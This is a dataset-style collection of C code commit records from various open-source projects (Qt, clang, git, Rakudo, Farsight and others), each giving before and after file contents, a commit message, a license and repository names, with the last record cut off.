#ifndef QAK_SHUTDOWN_CHECK_H #define QAK_SHUTDOWN_CHECK_H #include <QDebug> #include <QObject> #include <QStandardPaths> #include <QFile> #include <QFileInfo> #include <QDateTime> class ShutdownCheck : public QObject { Q_OBJECT public: enum Status { OK, FAILED, Error }; Q_ENUM(Status) Q_PROPERTY(int status READ status NOTIFY statusChanged) explicit ShutdownCheck(QObject* parent = 0); ~ShutdownCheck(); int status() const; void setStatus(int status); public slots: void writeMark(); void removeMark(); bool markExists(); signals: void statusChanged(); private: QString _dataPath; QString _mark; int _status; }; #endif // QAK_SHUTDOWN_CHECK_H
Allow custom shutdown check cycles by exposing private functions
Allow custom shutdown check cycles by exposing private functions
C
mit
Larpon/qak,Larpon/qak,Larpon/qak
8b9c56f917399fd11e05f0561c095c275035c095
config.h
config.h
#ifndef CJET_CONFIG_H #define CJET_CONFIG_H #define SERVER_PORT 11122 #define LISTEN_BACKLOG 40 /* * It is somehow beneficial if this size is 32 bit aligned. */ #define MAX_MESSAGE_SIZE 512 #define WRITE_BUFFER_CHUNK 512 #define MAX_WRITE_BUFFER_SIZE 10 * WRITE_BUFFER_CHUNK /* Linux specific configs */ #define MAX_EPOLL_EVENTS 100 #endif
#ifndef CJET_CONFIG_H #define CJET_CONFIG_H #define SERVER_PORT 11122 #define LISTEN_BACKLOG 40 /* * It is somehow beneficial if this size is 32 bit aligned. */ #define MAX_MESSAGE_SIZE 512 #define WRITE_BUFFER_CHUNK 512 #define MAX_WRITE_BUFFER_SIZE (10 * (WRITE_BUFFER_CHUNK)) /* Linux specific configs */ #define MAX_EPOLL_EVENTS 100 #endif
Use some paranthesis around macro parameters.
Use some paranthesis around macro parameters.
C
mit
mloy/cjet,gatzka/cjet,gatzka/cjet,gatzka/cjet,gatzka/cjet,mloy/cjet,mloy/cjet,mloy/cjet,mloy/cjet,gatzka/cjet
b28d2f877b3c419bb7643a1eadef4ea28057b1e7
docs/examples/applications/list_all_groups.c
docs/examples/applications/list_all_groups.c
#include <opensync/opensync.h> #include <opensync/opensync-group.h> int main(int argc, char *argv[]) { OSyncList *groups, *g; int i = 0; osync_bool couldloadgroups; OSyncGroup *group = NULL; OSyncGroupEnv *groupenv = NULL; groupenv = osync_group_env_new(NULL); /* load groups from default dir */ couldloadgroups = osync_group_env_load_groups(groupenv, NULL, NULL); if ( !couldloadgroups ) { /* print error */ printf("Could not load groups."); return -1; } groups = osync_group_env_get_groups(groupenv); printf("found %i groups\n", osync_list_length(groups)); for (g = groups; g; g = g->next) { group = (OSyncGroup *) g->data; printf("group nr. %i is %s\n", i+1, osync_group_get_name(group)); } /* free env */ osync_group_env_unref(groupenv); return 0; }
#include <opensync/opensync.h> #include <opensync/opensync-group.h> int main(int argc, char *argv[]) { OSyncList *groups, *g; int i = 0; osync_bool couldloadgroups; OSyncGroup *group = NULL; OSyncGroupEnv *groupenv = NULL; groupenv = osync_group_env_new(NULL); /* load groups from default dir */ couldloadgroups = osync_group_env_load_groups(groupenv, NULL, NULL); if ( !couldloadgroups ) { /* print error */ printf("Could not load groups."); return -1; } groups = osync_group_env_get_groups(groupenv); printf("found %i groups\n", osync_list_length(groups)); for (g = groups; g; g = g->next) { group = (OSyncGroup *) g->data; printf("group nr. %i is %s\n", i+1, osync_group_get_name(group)); } /* Free the list */ osync_list_free(groups); /* free env */ osync_group_env_unref(groupenv); return 0; }
Fix potential memory leak - freeing the newly created OSyncList was missing
Fix potential memory leak - freeing the newly created OSyncList was missing git-svn-id: e31799a7ad59d6ea355ca047c69e0aee8a59fcd3@5736 53f5c7ee-bee3-0310-bbc5-ea0e15fffd5e
C
lgpl-2.1
luizluca/opensync-luizluca,luizluca/opensync-luizluca
d21808b5823bdf53fc969019969f700573a8eb69
CefSharp.BrowserSubprocess.Core/Messaging/EvaluateScriptDelegate.h
CefSharp.BrowserSubprocess.Core/Messaging/EvaluateScriptDelegate.h
// Copyright 2010-2015 The CefSharp Project. All rights reserved. // // Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. #pragma once #include "../CefSharp.Core/Internals/Messaging/ProcessMessageDelegate.h" namespace CefSharp { class CefAppUnmanagedWrapper; namespace Internals { namespace Messaging { //This class handles incoming evaluate script messages and responses to them after fulfillment. class EvaluateScriptDelegate : public ProcessMessageDelegate { private: DISALLOW_IMPLICIT_CONSTRUCTORS(EvaluateScriptDelegate); CefRefPtr<CefAppUnmanagedWrapper> _appUnmanagedWrapper; public: EvaluateScriptDelegate(CefRefPtr<CefAppUnmanagedWrapper> appUnmanagedWrapper); virtual bool OnProcessMessageReceived(CefRefPtr<CefBrowser> browser, CefProcessId source_process, CefRefPtr<CefProcessMessage> message) override; }; } } }
// Copyright 2010-2015 The CefSharp Project. All rights reserved. // // Use of this source code is governed by a BSD-style license that can be found in the LICENSE file. #pragma once #include "../CefSharp.Core/Internals/Messaging/ProcessMessageDelegate.h" namespace CefSharp { class CefAppUnmanagedWrapper; namespace Internals { namespace Messaging { //This class handles incoming evaluate script messages and responses to them after fulfillment. class EvaluateScriptDelegate : public ProcessMessageDelegate { private: DISALLOW_IMPLICIT_CONSTRUCTORS(EvaluateScriptDelegate); CefRefPtr<CefAppUnmanagedWrapper> _appUnmanagedWrapper; public: EvaluateScriptDelegate(CefRefPtr<CefAppUnmanagedWrapper> appUnmanagedWrapper); virtual bool OnProcessMessageReceived(CefRefPtr<CefBrowser> browser, CefProcessId sourceProcessId, CefRefPtr<CefProcessMessage> message) override; }; } } }
Rename variable to be more .net like
Rename variable to be more .net like
C
bsd-3-clause
Haraguroicha/CefSharp,ITGlobal/CefSharp,jamespearce2006/CefSharp,NumbersInternational/CefSharp,zhangjingpu/CefSharp,VioletLife/CefSharp,illfang/CefSharp,windygu/CefSharp,battewr/CefSharp,joshvera/CefSharp,battewr/CefSharp,Haraguroicha/CefSharp,ITGlobal/CefSharp,windygu/CefSharp,jamespearce2006/CefSharp,VioletLife/CefSharp,wangzheng888520/CefSharp,twxstar/CefSharp,gregmartinhtc/CefSharp,Livit/CefSharp,ruisebastiao/CefSharp,wangzheng888520/CefSharp,Haraguroicha/CefSharp,rlmcneary2/CefSharp,ruisebastiao/CefSharp,AJDev77/CefSharp,ITGlobal/CefSharp,joshvera/CefSharp,wangzheng888520/CefSharp,rlmcneary2/CefSharp,Livit/CefSharp,haozhouxu/CefSharp,gregmartinhtc/CefSharp,illfang/CefSharp,illfang/CefSharp,jamespearce2006/CefSharp,dga711/CefSharp,zhangjingpu/CefSharp,yoder/CefSharp,Livit/CefSharp,twxstar/CefSharp,joshvera/CefSharp,NumbersInternational/CefSharp,rlmcneary2/CefSharp,ruisebastiao/CefSharp,windygu/CefSharp,jamespearce2006/CefSharp,windygu/CefSharp,haozhouxu/CefSharp,VioletLife/CefSharp,yoder/CefSharp,Livit/CefSharp,wangzheng888520/CefSharp,illfang/CefSharp,dga711/CefSharp,VioletLife/CefSharp,ruisebastiao/CefSharp,ITGlobal/CefSharp,twxstar/CefSharp,yoder/CefSharp,gregmartinhtc/CefSharp,zhangjingpu/CefSharp,twxstar/CefSharp,zhangjingpu/CefSharp,dga711/CefSharp,haozhouxu/CefSharp,jamespearce2006/CefSharp,dga711/CefSharp,AJDev77/CefSharp,battewr/CefSharp,NumbersInternational/CefSharp,AJDev77/CefSharp,rlmcneary2/CefSharp,haozhouxu/CefSharp,yoder/CefSharp,AJDev77/CefSharp,battewr/CefSharp,joshvera/CefSharp,NumbersInternational/CefSharp,Haraguroicha/CefSharp,gregmartinhtc/CefSharp,Haraguroicha/CefSharp
a4db1a0e0a897b2b82793b8a8f944370ac42b52f
tests/regression/51-threadjoins/05-assume-unknown.c
tests/regression/51-threadjoins/05-assume-unknown.c
//PARAM: --set ana.activated[+] threadJoins #include <pthread.h> #include <assert.h> int g = 0; void *t_fun(void *arg) { g++; // RACE! return NULL; } int main() { pthread_t id, id2; pthread_create(&id, NULL, t_fun, NULL); __goblint_assume_join(id2); // joining unknown thread ID, shouldn't make joined set All threads g++; // RACE! return 0; }
Add assume join test with unknown thread ID
Add assume join test with unknown thread ID
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
f117facb5ade615965bdd76a870659fe1f62f302
test/Analysis/uninit-vals-ps-region.c
test/Analysis/uninit-vals-ps-region.c
// RUN: clang -checker-simple -analyzer-store-region -verify %s struct s { int data; }; struct s global; void g(int); void f4() { int a; if (global.data == 0) a = 3; if (global.data == 0) g(a); // no-warning }
// RUN: clang -checker-simple -analyzer-store-region -verify %s struct s { int data; }; struct s global; void g(int); void f4() { int a; if (global.data == 0) a = 3; if (global.data == 0) // The true branch is infeasible. g(a); // no-warning }
Add comment to test case for documentation.
Add comment to test case for documentation. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@60521 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang
5322ef2006cc93ad76140ff742cd96e74c1ec09b
compat/bswap.h
compat/bswap.h
/* * Let's make sure we always have a sane definition for ntohl()/htonl(). * Some libraries define those as a function call, just to perform byte * shifting, bringing significant overhead to what should be a simple * operation. */ /* * Default version that the compiler ought to optimize properly with * constant values. */ static inline unsigned int default_swab32(unsigned int val) { return (((val & 0xff000000) >> 24) | ((val & 0x00ff0000) >> 8) | ((val & 0x0000ff00) << 8) | ((val & 0x000000ff) << 24)); } #if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) #define bswap32(x) ({ \ unsigned int __res; \ if (__builtin_constant_p(x)) { \ __res = default_swab32(x); \ } else { \ __asm__("bswap %0" : "=r" (__res) : "0" (x)); \ } \ __res; }) #undef ntohl #undef htonl #define ntohl(x) bswap32(x) #define htonl(x) bswap32(x) #endif
/* * Let's make sure we always have a sane definition for ntohl()/htonl(). * Some libraries define those as a function call, just to perform byte * shifting, bringing significant overhead to what should be a simple * operation. */ /* * Default version that the compiler ought to optimize properly with * constant values. */ static inline uint32_t default_swab32(uint32_t val) { return (((val & 0xff000000) >> 24) | ((val & 0x00ff0000) >> 8) | ((val & 0x0000ff00) << 8) | ((val & 0x000000ff) << 24)); } #if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__)) #define bswap32(x) ({ \ uint32_t __res; \ if (__builtin_constant_p(x)) { \ __res = default_swab32(x); \ } else { \ __asm__("bswap %0" : "=r" (__res) : "0" (x)); \ } \ __res; }) #undef ntohl #undef htonl #define ntohl(x) bswap32(x) #define htonl(x) bswap32(x) #endif
Fix some printf format warnings
Fix some printf format warnings commit 51ea551 ("make sure byte swapping is optimal for git" 2009-08-18) introduced a "sane definition for ntohl()/htonl()" for use on some GNU C platforms. Unfortunately, for some of these platforms, this results in the introduction of a problem which is essentially the reverse of a problem that commit 6e1c234 ("Fix some warnings (on cygwin) to allow -Werror" 2008-07-3) was intended to fix. In particular, on platforms where the uint32_t type is defined to be unsigned long, the return type of the new ntohl()/htonl() is causing gcc to issue printf format warnings, such as: warning: long unsigned int format, unsigned int arg (arg 3) (nine such warnings, covering six different files). The earlier commit (6e1c234) needed to suppress these same warnings, except that the types were in the opposite direction; namely the format specifier ("%u") was 'unsigned int' and the argument type (ie the return type of ntohl()) was 'long unsigned int' (aka uint32_t). In order to suppress these warnings, the earlier commit used the (C99) PRIu32 format specifier, since the definition of this macro is suitable for use with the uint32_t type on that platform. This worked because the return type of the (original) platform ntohl()/htonl() functions was uint32_t. In order to suppress these warnings, we change the return type of the new byte swapping functions in the compat/bswap.h header file from 'unsigned int' to uint32_t. Signed-off-by: Ramsay Jones <[email protected]> Acked-by: Nicolas Pitre <[email protected]> Signed-off-by: Jeff King <[email protected]>
C
mit
destenson/git,destenson/git,destenson/git,destenson/git,destenson/git,destenson/git,destenson/git,destenson/git
2c1de29d687dc782897f0e566080cf5d9678893c
Sources/cllvm/shim.h
Sources/cllvm/shim.h
#define _GNU_SOURCE #define __STDC_CONSTANT_MACROS #define __STDC_FORMAT_MACROS #define __STDC_LIMIT_MACROS #include <llvm-c/Analysis.h> #include <llvm-c/BitReader.h> #include <llvm-c/BitWriter.h> #include <llvm-c/Core.h> #include <llvm-c/DebugInfo.h> #include <llvm-c/Disassembler.h> #include <llvm-c/ErrorHandling.h> #include <llvm-c/ExecutionEngine.h> #include <llvm-c/Initialization.h> #include <llvm-c/IRReader.h> #include <llvm-c/Linker.h> #include <llvm-c/LinkTimeOptimizer.h> #include <llvm-c/lto.h> #include <llvm-c/Object.h> #include <llvm-c/OrcBindings.h> #include <llvm-c/Support.h> #include <llvm-c/Target.h> #include <llvm-c/TargetMachine.h> #include <llvm-c/Transforms/IPO.h> #include <llvm-c/Transforms/PassManagerBuilder.h> #include <llvm-c/Transforms/Scalar.h> #include <llvm-c/Transforms/Vectorize.h> #include <llvm-c/Types.h>
#define _GNU_SOURCE #define __STDC_CONSTANT_MACROS #define __STDC_FORMAT_MACROS #define __STDC_LIMIT_MACROS #include <llvm-c/Analysis.h> #include <llvm-c/BitReader.h> #include <llvm-c/BitWriter.h> #include <llvm-c/Core.h> #include <llvm-c/DebugInfo.h> #include <llvm-c/Disassembler.h> #include <llvm-c/ErrorHandling.h> #include <llvm-c/ExecutionEngine.h> #include <llvm-c/Initialization.h> #include <llvm-c/IRReader.h> #include <llvm-c/Linker.h> #include <llvm-c/LinkTimeOptimizer.h> #include <llvm-c/lto.h> #include <llvm-c/Object.h> #include <llvm-c/OrcBindings.h> #include <llvm-c/Support.h> #include <llvm-c/Target.h> #include <llvm-c/TargetMachine.h> #include <llvm-c/Transforms/IPO.h> #include <llvm-c/Transforms/PassManagerBuilder.h> #include <llvm-c/Transforms/Scalar.h> #if LLVM_VERSION_MAJOR > 6 // LLVMAddLowerSwitchPass and LLVMAddPromoteMemoryToRegisterPass live here // as of LLVM 7.0 #include <llvm-c/Transforms/Utils.h> #endif #include <llvm-c/Transforms/Vectorize.h> #include <llvm-c/Types.h>
Prepare for LLVM 7.0 migrating some utility passes
Prepare for LLVM 7.0 migrating some utility passes
C
mit
trill-lang/LLVMSwift
4f6d59a7ad30a4e27be1d3db20f39ad718bfb67a
src/vm/moar/ops/perl6_ops.c
src/vm/moar/ops/perl6_ops.c
#define MVM_SHARED 1 #include "moar.h" /* Initializes the Perl 6 extension ops. */ static void p6init(MVMThreadContext *tc) { } /* Registers the extops with MoarVM. */ void Rakudo_ops_init(MVMThreadContext *tc) { MVM_ext_register_extop(tc, "p6init", p6init, 0, NULL); }
#define MVM_SHARED 1 #include "moar.h" /* Initializes the Perl 6 extension ops. */ static void p6init(MVMThreadContext *tc) { } /* Registers the extops with MoarVM. */ MVM_DLL_EXPORT void Rakudo_ops_init(MVMThreadContext *tc) { MVM_ext_register_extop(tc, "p6init", p6init, 0, NULL); }
Make sure to export extops init symbol.
Make sure to export extops init symbol.
C
artistic-2.0
Gnouc/rakudo,teodozjan/rakudo,tbrowder/rakudo,sergot/rakudo,nunorc/rakudo,ugexe/rakudo,ab5tract/rakudo,salortiz/rakudo,tony-o/rakudo,zostay/rakudo,MasterDuke17/rakudo,azawawi/rakudo,cygx/rakudo,labster/rakudo,cognominal/rakudo,skids/rakudo,labster/rakudo,sjn/rakudo,tony-o/rakudo,sergot/rakudo,ungrim97/rakudo,samcv/rakudo,tony-o/deb-rakudodaily,LLFourn/rakudo,cygx/rakudo,salortiz/rakudo,cygx/rakudo,jonathanstowe/rakudo,cygx/rakudo,rakudo/rakudo,softmoth/rakudo,zostay/rakudo,azawawi/rakudo,paultcochrane/rakudo,lucasbuchala/rakudo,dankogai/rakudo,softmoth/rakudo,zostay/rakudo,ugexe/rakudo,tony-o/deb-rakudodaily,lucasbuchala/rakudo,tony-o/deb-rakudodaily,awwaiid/rakudo,raydiak/rakudo,niner/rakudo,skids/rakudo,samcv/rakudo,nbrown/rakudo,tony-o/deb-rakudodaily,MasterDuke17/rakudo,awwaiid/rakudo,cognominal/rakudo,MasterDuke17/rakudo,nbrown/rakudo,nunorc/rakudo,teodozjan/rakudo,rakudo/rakudo,LLFourn/rakudo,zhuomingliang/rakudo,jonathanstowe/rakudo,salortiz/rakudo,rakudo/rakudo,paultcochrane/rakudo,sjn/rakudo,azawawi/rakudo,niner/rakudo,tony-o/rakudo,tony-o/rakudo,paultcochrane/rakudo,retupmoca/rakudo,nbrown/rakudo,dankogai/rakudo,rakudo/rakudo,labster/rakudo,MasterDuke17/rakudo,ungrim97/rakudo,jonathanstowe/rakudo,cognominal/rakudo,zhuomingliang/rakudo,usev6/rakudo,Gnouc/rakudo,sergot/rakudo,tbrowder/rakudo,dankogai/rakudo,MasterDuke17/rakudo,tony-o/deb-rakudodaily,niner/rakudo,jonathanstowe/rakudo,b2gills/rakudo,sjn/rakudo,tbrowder/rakudo,b2gills/rakudo,raydiak/rakudo,tbrowder/rakudo,softmoth/rakudo,raydiak/rakudo,dwarring/rakudo,retupmoca/rakudo,cygx/rakudo,usev6/rakudo,tbrowder/rakudo,ab5tract/rakudo,zostay/rakudo,awwaiid/rakudo,ungrim97/rakudo,rakudo/rakudo,zhuomingliang/rakudo,b2gills/rakudo,awwaiid/rakudo,Gnouc/rakudo,softmoth/rakudo,ab5tract/rakudo,laben/rakudo,LLFourn/rakudo,samcv/rakudo,retupmoca/rakudo,niner/rakudo,nbrown/rakudo,nunorc/rakudo,nbrown/rakudo,azawawi/rakudo,b2gills/rakudo,retupmoca/rakudo,skids/rakudo,ugexe/rakudo,samcv/rakudo,LLFourn/rakudo,teodozjan/rakudo,tony-o/deb-rakudodaily,cognominal/rakudo,ungrim97/rakudo,dwarring/rakudo,awwaiid/rakudo,sjn/rakudo,laben/rakudo,nunorc/rakudo,teodozjan/rakudo,usev6/rakudo,zhuomingliang/rakudo,paultcochrane/rakudo,Leont/rakudo,Gnouc/rakudo,paultcochrane/rakudo,usev6/rakudo,nbrown/rakudo,labster/rakudo,labster/rakudo,Leont/rakudo,samcv/rakudo,tony-o/rakudo,dankogai/rakudo,lucasbuchala/rakudo,ab5tract/rakudo,rakudo/rakudo,Gnouc/rakudo,labster/rakudo,lucasbuchala/rakudo,ugexe/rakudo,dwarring/rakudo,cognominal/rakudo,MasterDuke17/rakudo,skids/rakudo,sjn/rakudo,laben/rakudo,raydiak/rakudo,sergot/rakudo,ugexe/rakudo,dwarring/rakudo,Leont/rakudo,skids/rakudo,Leont/rakudo,salortiz/rakudo,jonathanstowe/rakudo,salortiz/rakudo,tbrowder/rakudo,tony-o/deb-rakudodaily,lucasbuchala/rakudo,tony-o/rakudo,laben/rakudo,dankogai/rakudo,ungrim97/rakudo,usev6/rakudo,LLFourn/rakudo,softmoth/rakudo,b2gills/rakudo,ab5tract/rakudo,Gnouc/rakudo,azawawi/rakudo,salortiz/rakudo
f679a986df5514bb42e001a5afd149f839ebed03
test/Sema/return-noreturn.c
test/Sema/return-noreturn.c
// RUN: clang-cc %s -fsyntax-only -verify -fblocks -Wmissing-noreturn int j; void test1() { // expected-warning {{function could be attribute 'noreturn'}} ^ (void) { while (1) { } }(); // expected-warning {{block could be attribute 'noreturn'}} ^ (void) { if (j) while (1) { } }(); while (1) { } } void test2() { if (j) while (1) { } }
// RUN: clang-cc %s -fsyntax-only -verify -fblocks -Wmissing-noreturn int j; void test1() { // expected-warning {{function could be attribute 'noreturn'}} ^ (void) { while (1) { } }(); // expected-warning {{block could be attribute 'noreturn'}} ^ (void) { if (j) while (1) { } }(); while (1) { } } void test2() { if (j) while (1) { } } // This test case illustrates that we don't warn about the missing return // because the function is marked noreturn and there is an infinite loop. extern int foo_test_3(); __attribute__((__noreturn__)) void* test3(int arg) { while (1) foo_test_3(); } __attribute__((__noreturn__)) void* test3_positive(int arg) { while (0) foo_test_3(); } // expected-warning{{function declared 'noreturn' should not return}}
Add two more test cases for attribute 'noreturn'.
Add two more test cases for attribute 'noreturn'. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@82841 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang
d833601615d09c98fdc629e9b07490ffc218ff7d
bottleopener/platforms.h
bottleopener/platforms.h
#pragma once //#define __PLATFORM_CARRIOTS__ 1 //#define __PLATFORM_INITIALSTATE__ 1 #define __PLATFORM_SHIFTR__ 1 #define __PLATFORM_THINGSPEAK__ 1
#pragma once #define __PLATFORM_CARRIOTS__ 1 //#define __PLATFORM_INITIALSTATE__ 1 //#define __PLATFORM_SHIFTR__ 1 //#define __PLATFORM_THINGSPEAK__ 1
Change platform selection to Carriots
Change platform selection to Carriots
C
mit
Zenika/bottleopener_iot,Zenika/bottleopener_iot,Zenika/bottleopener_iot,Zenika/bottleopener_iot
00aac489636d56fcbe90874fa18e26c617d2d26d
3RVX/HotkeyInfo.h
3RVX/HotkeyInfo.h
#pragma once #include <map> #include <vector> class HotkeyInfo { public: enum HotkeyActions { IncreaseVolume, DecreaseVolume, SetVolume, Mute, VolumeSlider, EjectDrive, EjectLatestDrive, MediaKey, RunApp, Settings, Exit, }; static std::vector<std::wstring> ActionNames; enum MediaKeys { PlayPause, Stop, Next, Previous, }; static std::vector<std::wstring> MediaKeyNames; static std::vector<unsigned short> MediaKeyVKs; public: int keyCombination = 0; int action = -1; std::vector<std::wstring> args; int ArgToInt(int argIdx); double ArgToDouble(int argIdx); bool HasArgs(); void AllocateArg(unsigned int argIdx); std::wstring ToString(); private: std::map<int, int> _intArgs; std::map<int, double> _doubleArgs; };
#pragma once #include <map> #include <vector> class HotkeyInfo { public: enum HotkeyActions { IncreaseVolume, DecreaseVolume, SetVolume, Mute, VolumeSlider, EjectDrive, EjectLatestDrive, MediaKey, RunApp, Settings, Exit, }; static std::vector<std::wstring> ActionNames; enum MediaKeys { PlayPause, Stop, Next, Previous, }; static std::vector<std::wstring> MediaKeyNames; static std::vector<unsigned short> MediaKeyVKs; public: int keyCombination = 0; int action = -1; std::vector<std::wstring> args; /// <summary> /// Retrieves the argument at the given index and converts it to an integer. /// Subsequent calls that specify the same index will be cached. /// </summary> int ArgToInt(unsigned int argIdx); /// <summary> /// Retrieves the argument at the given index and converts it to a double. /// Subsequent calls that specify the same index will be cached. /// </summary> double ArgToDouble(unsigned int argIdx); bool HasArgs(); void AllocateArg(unsigned int argIdx); std::wstring ToString(); private: std::map<int, int> _intArgs; std::map<int, double> _doubleArgs; };
Add documentation and ensure parameters are unsigned
Add documentation and ensure parameters are unsigned
C
bsd-2-clause
Soulflare3/3RVX,malensek/3RVX,Soulflare3/3RVX,Soulflare3/3RVX,malensek/3RVX,malensek/3RVX
eed9cdf420ef882a796d9f8e9a233ded25c9becb
tests/rtp/codec-discovery.c
tests/rtp/codec-discovery.c
#include <gst/gst.h> #include <gst/farsight/fs-codec.h> #include "fs-rtp-discover-codecs.h" int main (int argc, char **argv) { GList *elements = NULL; GError *error = NULL; gst_init (&argc, &argv); g_debug ("AUDIO STARTING!!"); elements = load_codecs (FS_MEDIA_TYPE_AUDIO, &error); if (error) g_debug ("Error: %s", error->message); g_clear_error (&error); unload_codecs (FS_MEDIA_TYPE_AUDIO); g_debug ("AUDIO FINISHED!!"); g_debug ("VIDEO STARTING!!"); elements = load_codecs (FS_MEDIA_TYPE_VIDEO, &error); if (error) g_debug ("Error: %s", error->message); g_clear_error (&error); unload_codecs (FS_MEDIA_TYPE_VIDEO); g_debug ("VIDEO FINISHED!!"); return 0; }
#include <gst/gst.h> #include <gst/farsight/fs-codec.h> #include "fs-rtp-discover-codecs.h" int main (int argc, char **argv) { GList *elements = NULL; GError *error = NULL; gst_init (&argc, &argv); g_debug ("AUDIO STARTING!!"); elements = fs_rtp_blueprints_get (FS_MEDIA_TYPE_AUDIO, &error); if (error) g_debug ("Error: %s", error->message); g_clear_error (&error); fs_rtp_blueprints_unref (FS_MEDIA_TYPE_AUDIO); g_debug ("AUDIO FINISHED!!"); g_debug ("VIDEO STARTING!!"); elements = fs_rtp_blueprints_get (FS_MEDIA_TYPE_VIDEO, &error); if (error) g_debug ("Error: %s", error->message); g_clear_error (&error); fs_rtp_blueprints_unref (FS_MEDIA_TYPE_VIDEO); g_debug ("VIDEO FINISHED!!"); return 0; }
Use the new function names for the codec discovery tests
Use the new function names for the codec discovery tests
C
lgpl-2.1
tieto/farstream,tieto/farstream,pexip/farstream,ahmedammar/skype_farsight2,pexip/farstream,tieto/farstream,shadeslayer/farstream,pexip/farstream,ahmedammar/skype_farsight2,kakaroto/farstream,ahmedammar/skype_farsight2,pexip/farstream,tieto/farstream,kakaroto/farstream,ahmedammar/skype_farsight2,shadeslayer/farstream,kakaroto/farstream,shadeslayer/farstream,kakaroto/farstream,shadeslayer/farstream,tieto/farstream
6fd88d81d55e1199bab54aedc186e01dda4dbc2a
libpatlms/include/patlms/type/exception/detail/date_parse_exception.h
libpatlms/include/patlms/type/exception/detail/date_parse_exception.h
#ifndef INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H #define INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H #include <patlms/type/exception/exception.h> namespace type { namespace exception { namespace detail { class DateParseException : public interface::Exception { inline char const* what() const throw () override; }; char const* DateParseException::what() const throw () { return "Can't parse date."; } } } } #endif /* INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H */
#ifndef INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H #define INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H #include <patlms/type/exception/exception.h> namespace type { namespace exception { namespace detail { class DateParseException : public interface::Exception { inline char const* what() const throw () override; }; char const* DateParseException::what() const throw () { return "Can't parse date"; } } } } #endif /* INCLUDE_PATLMS_EXCEPTION_DETAIL_DATE_PARSE_EXCEPTION_H */
Remove dot from exception message
Remove dot from exception message
C
mit
chyla/pat-lms,chyla/pat-lms,chyla/slas,chyla/slas,chyla/slas,chyla/pat-lms,chyla/slas,chyla/pat-lms,chyla/pat-lms,chyla/pat-lms,chyla/slas,chyla/slas,chyla/pat-lms,chyla/slas
87474f57f90f8b312f1cce96152f7d24aa7f3321
ietf/rtp7587.h
ietf/rtp7587.h
/* * RTP Payload Format for the Opus Speech and Audio Codec */ #ifndef __BITSTREAM_IETF_RTP7587_H__ # define __BITSTREAM_IETF_RTP7587_H__ #define RTP_7587_CLOCKRATE 48000 #endif /* !__BITSTREAM_IETF_RTP7587_H__ */
Add Opus RTP payload format header
Add Opus RTP payload format header
C
mit
kierank/bitstream,gfto/bitstream,gfto/bitstream,theambient/bitstream_c,theambient/bitstream_c,kierank/bitstream
c6f1f85bf3a1c1e52ff1114ae05e04b82213f186
tests/regression/36-octapron/22-traces-write-centered-vs-meet-mutex.c
tests/regression/36-octapron/22-traces-write-centered-vs-meet-mutex.c
// SKIP PARAM: --sets ana.activated[+] octApron #include <pthread.h> #include <assert.h> int g = 0; int h = 0; int i = 0; pthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER; // h <= g pthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER; // h == g pthread_mutex_t C = PTHREAD_MUTEX_INITIALIZER; void *t_fun(void *arg) { int x, y, z; pthread_mutex_lock(&C); pthread_mutex_lock(&A); x = g; y = h; assert(y <= x); pthread_mutex_lock(&B); assert(x == y); // TODO (mutex-meet succeeds, write unknown) pthread_mutex_unlock(&B); i = x + 31; z = i; assert(z >= x); // TODO (write succeeds, mutex-meet unknown) pthread_mutex_unlock(&A); pthread_mutex_unlock(&C); return NULL; } int main(void) { int x; // rand pthread_t id; pthread_create(&id, NULL, t_fun, NULL); pthread_mutex_lock(&B); pthread_mutex_lock(&A); i = 11; g = x; h = x - 17; pthread_mutex_unlock(&A); pthread_mutex_lock(&A); h = x; pthread_mutex_unlock(&A); pthread_mutex_unlock(&B); pthread_mutex_lock(&C); i = 3; pthread_mutex_unlock(&C); return 0; }
Add relational traces write vs mutex-meet example
Add relational traces write vs mutex-meet example
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
269c892039f901b97057614b664e72df31c2c597
src/driver_control/dc_dump.c
src/driver_control/dc_dump.c
void dc_dump() { static int prev_l = 0, prev_r = 0; if (!prev_l && vexRT[Btn7L]) dump_set(-80); if (!prev_r && vexRT[Btn7R]) dump_set(80); if ((prev_l && !vexRT[Btn7L]) || (prev_r && !vexRT[Btn7R])) dump_set(0); prev_l = vexRT[Btn7L]; prev_r = vexRT[Btn7R]; }
void dc_dump() { // TODO: Check direction and change to U and D static int prev_l = 0, prev_r = 0; if (!prev_l && vexRT[Btn7L]) dump_set(-127); if (!prev_r && vexRT[Btn7R]) dump_set(127); if ((prev_l && !vexRT[Btn7L]) || (prev_r && !vexRT[Btn7R])) dump_set(0); prev_l = vexRT[Btn7L]; prev_r = vexRT[Btn7R]; }
Change dump power to 127
Change dump power to 127
C
mit
qsctr/vex-4194b-2016
81ba4f0afa96aa863e254f8fc124a2a7096ca5dc
src/include/ccn/sockcreate.h
src/include/ccn/sockcreate.h
